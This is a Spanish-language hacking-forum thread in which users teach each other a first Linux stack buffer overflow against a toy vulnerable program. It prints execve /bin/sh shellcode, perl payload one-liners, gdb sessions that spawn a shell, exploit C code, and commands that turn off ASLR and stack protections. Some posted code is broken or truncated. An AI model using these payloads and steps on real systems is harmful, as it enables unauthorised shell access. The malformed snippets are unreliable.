Autor
|
Tema: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!] (Leído 14,696 veces)
|
Belial & Grimoire
Desconectado
Mensajes: 559
Tea_Madhatter
|
sip, lo hice con tu codigo, y lo unico que cambie fue "./vuln" y al ejecutarlo me aparece esto �����������������������1�Ph//shh/bin��P��S��� y vuln lo compile asi exactamente gcc -o vuln vuln.c --no-stack-protector -g -z execstack y haciendo esto sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret); me dice.... Segmentation fault
|
|
|
En línea
|
.
|
|
|
mr.blood
Desconectado
Mensajes: 150
|
No, eso que pusiste no es mi code. Tiene errores, como es nops[24] . Quiza por eso te tira segmentation fault. Y eso del sprintf que ya te dije .
Pon mas informacion, que distro usas ??? Yo uso OpenSuSe y me funciona perfecto. Sa1uDoS P.D.:Agregame al MSN si quieres y miramos que es con mas detalle .
EDIT: A mi asi me funciona: #include <stdio.h> #include <stdlib.h> #include <string.h> int main(){ char nops[24] = ""; char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; char ret[]="\x18\x1f\x9b\xbf"; char *cmd; sprintf(cmd ,"%s %s%s%s", exp, nops , shellcode , ret ); return 0; }
EDIT2: Prueba si quieres con una shellcode que he hecho yo , aunque la de Sagrini va genial tambien. #include <stdio.h> /* Para Sprintf */ #include <string.h> /* Para memset */ #include <stdlib.h> /*Para malloc y system */ int main() { char name[]="./bof"; char nops[26]=""; memset(nops , '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */ char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"; char ret[]="\x18\x1f\x9b\xbf"; char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */ cmd =(char *)malloc(sizeof(name )+sizeof(nops )+sizeof(shellcode )+sizeof(ret )+1);/* Reservamos la memoria necesaria para juntar todo */ sprintf(cmd , "%s %s%s%s", name ,nops ,shellcode ,ret );/* Juntamos name, nop, shellcode y ret en el puntero cmd, entre name y los demas campos dejamos un espacio */ free(cmd );/* Liberamos la memoria */ return 0; }
|
|
« Última modificación: 7 Febrero 2011, 16:16 pm por mr.blood »
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
No, eso que pusiste no es mi code. Tiene errores, como es nops[24] . Quiza por eso te tira segmentation fault. Y eso del sprintf que ya te dije .
Pon mas informacion, que distro usas ??? Yo uso OpenSuSe y me funciona perfecto. Sa1uDoS P.D.:Agregame al MSN si quieres y miramos que es con mas detalle .
EDIT: A mi asi me funciona: #include <stdio.h> #include <stdlib.h> #include <string.h> int main(){ char nops[24] = ""; char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; char ret[]="\x18\x1f\x9b\xbf"; char *cmd; sprintf(cmd ,"%s %s%s%s", exp, nops , shellcode , ret ); return 0; }
EDIT2: Prueba si quieres con una shellcode que he hecho yo , aunque la de Sagrini va genial tambien. #include <stdio.h> /* Para Sprintf */ #include <string.h> /* Para memset */ #include <stdlib.h> /*Para malloc y system */ int main() { char name[]="./bof"; char nops[26]=""; memset(nops , '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */ char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"; char ret[]="\x18\x1f\x9b\xbf"; char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */ cmd =(char *)malloc(sizeof(name )+sizeof(nops )+sizeof(shellcode )+sizeof(ret )+1);/* Reservamos la memoria necesaria para juntar todo */ sprintf(cmd , "%s %s%s%s", name ,nops ,shellcode ,ret );/* Juntamos name, nop, shellcode y ret en el puntero cmd, entre name y los demas campos dejamos un espacio */ free(cmd );/* Liberamos la memoria */ return 0; }
Wow gracias por revivir a todos! Estaba tanto con el taller que se me habia pasado... Como os comentaba, podeis probar a hacerlo con Perl desde la linea de comandos ./vuln $(perl -e 'print "\x90"x11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xXX\xXX\xXX\xXX"') Las XX las sustituis por vuestra direccion de regreso . Aqui pongo la de la variable buffer, donde se encuentra la shellcode. Aparte, si os dais cuenta... 11 + 25 + 4 = 40. Buffer = 36. Que pasa? Porque en medio tenemos EBP y el ret. Pues lo que pasa es que al volver se quitan 4 bytes . Bueno, hago eso y me suelta la shell. Ahora, para vuestra direccion de regreso... juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack [b]-g[/b] juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln (gdb) br vuln Breakpoint 1 at 0x80483ca: file vuln.c, line 7. (gdb) r AAA Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:7 7 strcpy (buffer, buff); (gdb) x/x buffer [b]0xbffff904[/b]: 0x00000000 (gdb)
Ahora, si quereis le sumais algo por si las moscas
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Bueno, escribí un pequeño code para mi blog hace un ratillo... #include <stdio.h> #include <string.h> int vuln (char *buff) { char buffer [36]; } int main (int argc, char *argv []) { vuln (argv [1]); } int feo () { }
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack juanra@Juanra:~/Escritorio/Shell$ ./vuln (perl -e 'print "A"x40 . "\x68\x84\x04\x08"') Eres feo!!! juanra@Juanra:~/Escritorio/Shell$
#include <stdio.h> #include <stdlib.h> #include <string.h> int main () { char nops [40]; char ret [5] = "\x68\x84\x04\x08"; char command [51]; }
Luego lo hago con shellcode... Este ahora mismo va
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Bueno, tras un ratillo erre que erre golpeándome he conseguido ejecutar una shellcode. Os explico: Primero he calculado cuantos nops (0x90, el procesador no hace nada) le tengo que meter a la cadena. Luego, he escrito mi shellcode, y finalmente he calculado la dirección de regreso. Calculemos: Tenemos 36 bytes, pero para cambiar la ejecución del programa hacen falta 44. Así que... 44 - 4 (dirección de regreso) = 40. Mi shellcode mide 25 pbytes... 40 - 25 (shellcode) = 15. En este hueco irá relleno. Así que la estructura sería: 15 Nops (\x90) + 25 Shellcode + 4 Ret. Escribimos: juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln (gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"') Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Program received signal SIGSEGV, Segmentation fault. 0x58585858 in ?? () (gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"') The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
Program received signal SIGSEGV, Segmentation fault. 0x58585858 in ?? () (gdb) br vuln Breakpoint 1 at 0x804842a: file vuln.c, line 8. (gdb) r AAA The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8 8 strcpy (buffer, buff); (gdb) x/x buffer 0xbffff904: 0x00000000 (gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"') The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
Breakpoint 1, vuln ( buff=0xbffffb36 '\220' <repeats 15 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8 8 strcpy (buffer, buff); (gdb) c Continuing.
Program received signal SIGSEGV, Segmentation fault. 0xbffff95b in ?? () (gdb)
¿Error? Pues sí. No nos hemos dado cuenta de que al volver se restan 4 bytes... (gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"') The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
Breakpoint 1, vuln ( buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8 8 strcpy (buffer, buff); (gdb) c Continuing. Executing new program: /bin/dash (no debugging symbols found) Error in re-setting breakpoint 1: Function "vuln" not defined. (no debugging symbols found) (no debugging symbols found) $
Ahora escribimos el exploit... #include <stdio.h> #include <stdlib.h> #include <string.h> int main () { char nops [11]; char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; char ret [5] = "\x04\xf9\xff\xbf"; char command [47]; }
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c juanra@Juanra:~/Escritorio/Shell$ ./exploit $
¡Bueno, lo hemos conseguido! ¡Hemos escrito nuestro primer exploit con shellcode en un entorno linux! PD: Sé que no me explico nada bien, todas las dudas... PD2: Habrá más entregas Un saludo! Os espero. Sagrini Sacado de mi blog xD!
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Belial & Grimoire
Desconectado
Mensajes: 559
Tea_Madhatter
|
hola Pues lo estuve intentando, tambien de esta manera, conte las veces de nop's que se necesitaban y no hubo ninguna shell ya tambien lo intente con perl, hice copy paste de los codigos y nada, compile las cosas como me dijeron y tampoco me di cuenta de algo... al revisarlo con GDB, me di cuenta que al poner "r AAA", cuando trate de sacar el RET, me di cuenta que buffer no queda asi Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:7 7 strcpy (buffer, buff); (gdb) x/x buffer [b]0xbffff904[/b]: 0x00000000 Me queda de esta manera Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:7 7 strcpy (buffer, buff); (gdb) x/x buffer 0xbffff40c: 0xb7e9ba75 (gdb)
y si coloco x/x buff (gdb) x/x buff 0xbffff682: 0x41414141 alli estan los 41, o por lo menos eso en Windows para mi era señal de vulnerabilidad intente con 0xbffff40c y 0xbffff682 y con ninguno de los 2, como mencione calcule too, y le iba aumentando poco a poco, pero en el comando "c" en gdb, solo me decia (gdb) c Continuing y le aumente hasta que llegue a 15 me salio Program received signal SIGSEGV, Segmentation fault. 0xbffff69c in ?? () no se si alli este el problema, aunque me imagino que sip uso debian 6.0 squeeze ------------------------------------- mr. blood perdon si no te he podido agregar, pero como veras en estos momentos no he podido entrar mucho al foro, pero en cuanto pueda te agrego y vemos eso. salu2
|
|
|
En línea
|
.
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
¿Has probado a desactivar protecciones? $ sudo su # echo 0 > /proc/sys/kernel/randomize_va_space # cat /proc/sys/kernel/randomize_va_space # exit $
$ gcc -o vuln vuln.c --no-stack-protector -z execstack
Has copiado el code? #include <stdio.h> #include <string.h> int vuln (char *buff) { char buffer [36]; } int main (int argc, char *argv []) { vuln (argv [1]); } int feo () { }
Pues primero vemos cuántos bytes le metemos: juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln (gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"') Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Program received signal SIGSEGV, Segmentation fault. 0x58585858 in ?? () (gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"') The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
Program received signal SIGSEGV, Segmentation fault. 0x58585858 in ?? () (gdb) br vuln Breakpoint 1 at 0x804842a: file vuln.c, line 8. (gdb) r AAA The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8 8 strcpy (buffer, buff); (gdb) x/x buffer 0xbffff904: 0x00000000 (gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"') The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
Breakpoint 1, vuln ( buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8 8 strcpy (buffer, buff); (gdb) c Continuing. Executing new program: /bin/dash (no debugging symbols found) Error in re-setting breakpoint 1: Function "vuln" not defined. (no debugging symbols found) (no debugging symbols found) $
Vamos, va perfecto... 1) Vemos cuantos bytes le metemos. En este programa dan 40. 2) Ahora, le restamos los bytes de la shellcode: 44 - 4 - 4 - 25 = 11 Los cuarenta y cuatro son para sobreescribir. La primera resta es de la dirección del ret. La segunda es porque al volver se restan cuatro bytes. Entonces tenemos: 11 NOPS + 25 SHELLCODE + 4 RET 3) Calculamos el RET: juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln (gdb) br vuln Breakpoint 1 at 0x804842a: file vuln.c, line 8. (gdb) r AAA Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8 8 strcpy (buffer, buff); (gdb) x/x buffer 0xbffff904: 0x00000000 (gdb) q The program is running. Exit anyway? (y or n) y juanra@Juanra:~/Escritorio/Shell$
El ret cambia según qué ordenador. Tenéis que calcularlo cada uno... Ahora ejecutamos... x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"') $ ls exploit exploit.c shell shell.s vuln vuln.c $ exit juanra@Juanra:~/Escritorio/Shell$
Si aún no va dímelo... Suerte!
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Belial & Grimoire
Desconectado
Mensajes: 559
Tea_Madhatter
|
ya desactive randomize_va_space y si estoy utilizando ese mismo codigo, igualmente hice copy paste para sobreescribir si son 44 44-4-4-25 = 11 al compilar tengo que agregar -g sino me aparece (gdb) x/x buffer No symbol table is loaded. Use the "file" command. (gdb) q para que sobreescriba todo tengo que usar 4 AAAA en vez de 3 Esto no entiendo... tiene que salirme 0xbffff904: 0x00000000 <---- en vez de esto... o no importa? 0xbffff40c: 0xb7e9ba75 <----- Cambie ret r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"') <-----
paso a paso (gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"') Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Program received signal SIGSEGV, Segmentation fault. 0x58585858 in ?? () (gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"') The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
Program received signal SIGSEGV, Segmentation fault. 0x58585858 in ?? () (gdb) br vuln Breakpoint 1 at 0x80483fa: file vuln.c, line 7. (gdb) r AAAA The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/the-gazette/Desktop/ex/vuln AAAA
Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:7 7 strcpy (buffer, buff); (gdb) x/x buffer 0xbffff40c: 0xb7e9ba75 (gdb) x/x buff 0xbffff682: 0x41414141
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"') Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"')
Breakpoint 1, vuln ( buff=0xbffff65e "\220\220\220\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀\f\364\377\277") at vuln.c:7 7 strcpy (buffer, buff); (gdb) c Continuing.
Program exited with code 0334. aumente en 12 solo por la curiosidad de las 4 AAAA y use 10 pero tampoco y use 0xbffff682 y tampoco para encontrar ret (gdb) r AAAA Starting program: /home/the-gazette/Desktop/ex/vuln AAAA
Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:8 8 strcpy (buffer, buff); (gdb) x/x buffer 0xbffff40c: 0xb7e9ba75 (gdb) x/x buff 0xbffff682: 0x41414141
salu2
|
|
|
En línea
|
.
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Te compiclas la vida: 11 Nops + 25 Shellcode + 4 ret
Busca tu ret y lo pones...
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Belial & Grimoire
Desconectado
Mensajes: 559
Tea_Madhatter
|
no... mira, de forma sencilla root@lainux:/home/the-gazette/Desktop/ex# echo 0 > /proc/sys/kernel/randomize_va_space root@lainux:/home/the-gazette/Desktop/ex# cat /proc/sys/kernel/randomize_va_space 0 root@lainux:/home/the-gazette/Desktop/ex# exit exit the-gazette@lainux:~/Desktop/ex$ gcc -o vuln vuln.c --no-stack-protector -g -z execstack the-gazette@lainux:~/Desktop/ex$ ./vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"') the-gazette@lainux:~/Desktop/ex$
RET (gdb) r AAAA Starting program: /home/the-gazette/Desktop/ex/vuln AAAA
Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:8 8 strcpy (buffer, buff); (gdb) x/x buffer 0xbffff40c: 0xb7e9ba75 (gdb) x/x buff 0xbffff682: 0x41414141 si pongo RET con 3 AAA (gdb) x/x buffer 0xbffff40c: 0xb7e9ba75 (gdb) x/x buff 0xbffff682: 0x00414141 (gdb)
|
|
|
En línea
|
.
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
[Tutorial] Introducion a los sockets en Ansi C : By Sagrini 2010
Programación C/C++
|
Garfield07
|
8
|
7,903
|
19 Enero 2011, 19:50 pm
por Garfield07
|
|
|
[Texto] Atacando ASLR : By Sagrini 2012
Bugs y Exploits
|
Sagrini
|
1
|
3,287
|
10 Marzo 2012, 02:09 am
por farresito
|
|
|
ayuda . textos de sagrini
Bugs y Exploits
|
afdlkglfgfdgfhgf
|
2
|
5,511
|
10 Julio 2012, 00:49 am
por cirano045
|
|
|
elhacker linux
« 1 2 »
GNU/Linux
|
samyforse3
|
15
|
7,994
|
7 Marzo 2014, 13:20 pm
por Edusoner
|
|
|
Mass mailer attack, Kali Linux
GNU/Linux
|
acpesp666
|
2
|
2,940
|
26 Agosto 2017, 01:48 am
por acpesp666
|
|